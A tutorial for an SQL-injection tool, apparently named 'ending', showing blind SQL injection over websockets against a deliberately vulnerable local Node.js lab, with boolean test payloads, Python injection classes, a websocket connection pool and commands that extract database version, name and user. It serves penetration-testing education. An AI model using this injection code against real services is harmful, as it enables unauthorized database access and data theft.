Attacking websockets

DBMS Type Tags
MySQL Blind custom design, websockets

Websockets have become more and more current in the modern web, and using legacy applications to attack them can be tedious. With ending, since you use python code to define how to interact with your target, it is very easy to inject on custom protocols. This tutorial demonstrates how you can perform a blind SQL injection over websockets, first using a stupid (and yet working) implementation, and then a cleaner, faster one.

Target setup

We attack nodejs-websocket-sqli, a vulnerable web server in node. To set it up, use:

$ git clone https://github.com/rayhan0x01/nodejs-websocket-sqli
$ cd nodejs-websocket-sqli
$ docker compose up

The server can then be reached at http://localhost:8156/.

Injection

While the injection is trivial to demonstrate (try 1 AND 1=1 and 1 AND 1=0), it must be performed over websockets. In essence, every time you input something in the search bar, a websocket packet of the form {"employeeID":"<something>"} gets sent, and the response looks like: {"message": "<span class=lime>Employee exists.</span>"} or {"message": "<span class=red>Employee not found.</span>"}.

Let's implement this behaviour using the websockets python library, which supports asyncio.

Fast implementation

We first create a design:

$ ending rayan-node-websocket create

Now, if we don't think about performance too much, we can create a new websocket session every time we want to send a payload, get the response, and then close the session. This can be implemented like so:

...

import json
from websockets.asyncio.client import connect
from ending.cli.design import Design as BaseDesign


class Design(BaseDesign):
    async def send(self, payload: str) -> bytes:
        # Create the JSON message: {"employeeID":"<something>"}
        payload = json.dumps({"employeeID": payload})

        # Connect to the websocket
        async with connect("ws://localhost:8156/ws") as websocket:
            # Send the payload
            await websocket.send(payload)
            # Get the response
            message = await websocket.recv()
            # Return the whole response as bytes
            return message.encode()

The design can then be configured automatically by ending:

$ ending rayan-node-websocket configure

As the configuration succeeds, the design can now be used to perform queries.

$ ending rayan-node-websocket query -f 'version()' 'database()' 'user()'

Although this implementation works, it is not the cleanest: creating a new websocket session involves sending HTTP requests every time, which conflicts with the intended use of websockets.

Improving the implementation

Creating a single session

We can improve this by creating a websocket session once, and then use it to send our messages. To do so, we can use the Design.setup() method, which gets called before any injection is performed.

class Design(BaseDesign):
    async def setup(self):
        self.websocket = await connect("ws://localhost:8156/ws")
        self.lock = Semaphore(1)
        return await super().setup()

We can now use the same websocket session in our send() method:

    async def send(self, payload: str="1") -> bytes:
        """Sends given payload 
        to the target and returns the response as bytes.
        """
        async with self.lock:
            payload = json.dumps({"employeeID": payload})
            await self.websocket.send(payload)
            message = await self.websocket.recv()
            return message.encode()

Note

We use a lock to prevent the design from waiting for several websockets messages at the same time, because the websockets library does not allow it.

The implementation is now way faster. But it can be improved a little bit more.

A pool of sessions

In the first implementation, we created as many sessions, whereas in the second one we only had a single session. The best implementation lies in between: we can create a pool of several sessions, and use them alternatively.

To do so, we'll create a WebSocketPool class that contains several websockets and which returns them at will.

import asyncio

from websockets.asyncio.client import connect
from asyncio import Queue


class WebSocketPool:
    """A pool of websockets.

    Usage:

        ws_pool = WebSocketPool(10)

        async with ws_pool.get() as websocket:
            await websocket.send(payload)
            await websocket.recv()
            ...

    """
    nb: int
    """Number of available websockets."""
    __pool: Queue
    """Queue that holds the websockets"""

    def __init__(self, nb: int):
        self.nb = nb
        self.__pool = None

    async def initialize(self):
        """Initializes the pool."""
        websockets = await asyncio.gather(*(
            connect("ws://localhost:8156/ws") for _ in range(self.nb)
        ))
        self.__pool = Queue()
        for websocket in websockets:
            self.__pool.put_nowait(websocket)

    @asynccontextmanager
    async def get(self):
        """Returns a websocket."""

        # Return a websocket from the queue (pool)...
        ws = await self.__pool.get()

        try:
            yield ws
        finally:
            # ... and put it back in when we're done
            await self.__pool.put(ws)

We can then use it in our design using WebSocketPool.get():

class Design(BaseDesign):
    async def setup(self):
        self.websockets = WebSocketPool(5)
        await self.websockets.initialize()
        return await super().setup()

    async def send(self, payload: str="1") -> bytes:
        """Sends given payload to the target and returns the response as bytes.
        """
        async with self.websockets.get() as websocket:
            payload = json.dumps({"employeeID": payload})
            await websocket.send(payload)
            message = await websocket.recv()
            return message.encode()

And we're done! With a few lines of code, we have a concurrent, efficient websocket SQL injection.